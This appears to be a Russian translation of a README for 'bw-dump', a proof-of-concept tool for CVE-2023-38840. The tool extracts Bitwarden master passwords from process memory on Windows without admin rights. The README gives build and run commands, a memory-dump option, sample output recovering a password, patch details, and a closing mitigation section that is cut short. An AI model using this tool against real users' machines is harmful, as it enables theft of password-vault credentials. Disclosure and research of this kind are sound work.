
Доказательство концепции для (CVE-2023-38840), извлекающее мастер-пароли в открытом виде из заблокированного хранилища Bitwarden.
Обновление 2: Этой уязвимости присвоен идентификатор CVE-2023-38840.
Обновление: Патч был выпущен в виде запроса на включение изменений на GitHub (5813), который исправляет уязвимость. Затронутые версии: Bitwarden Desktop 2023.7.0 и ниже.
Инструмент концептуального доказательства, который извлекает мастер-пароль из заблокированного хранилища Bitwarden (должно быть разблокировано хотя бы один раз) в системах Windows. Он работает только в текущем сеансе, то есть не будет работать после перезагрузки системы. Права администратора НЕ требуются.
Был опубликован блог, доступный по адресу: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Короткая демонстрация использования bw-dump с Microsoft Edge и расширением Bitwarden для браузера. Последняя версия инструмента работает только в Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Предупреждение: Windows Defender сообщит, что скомпилированный бинарный файл является вредоносным!
Чтобы собрать урезанный бинарный файл, введите:
go build -ldflags="-s -w"
Чтобы собрать в системе Linux, введите:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Просто соберите и выполните бинарный файл. Он НЕ требует прав администратора. Убедитесь, что процесс Bitwarden запущен. Кроме того, хранилище должно быть разблокировано хотя бы один раз. После этого мастер-пароль будет храниться в памяти в течение некоторого времени.
Вы также можете передать опцию -d, чтобы дампить области памяти при обнаружении шаблона. Для каждого результата в текущей рабочей директории создаётся файл dump-pid-<PID>-<MEM-REGION>.hex.
Пример вывода
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Существует два способа (возможно, больше) удалить мастер-пароль из памяти:
Bitwarden.exe, после чего Windows должна выполнить сборку мусора.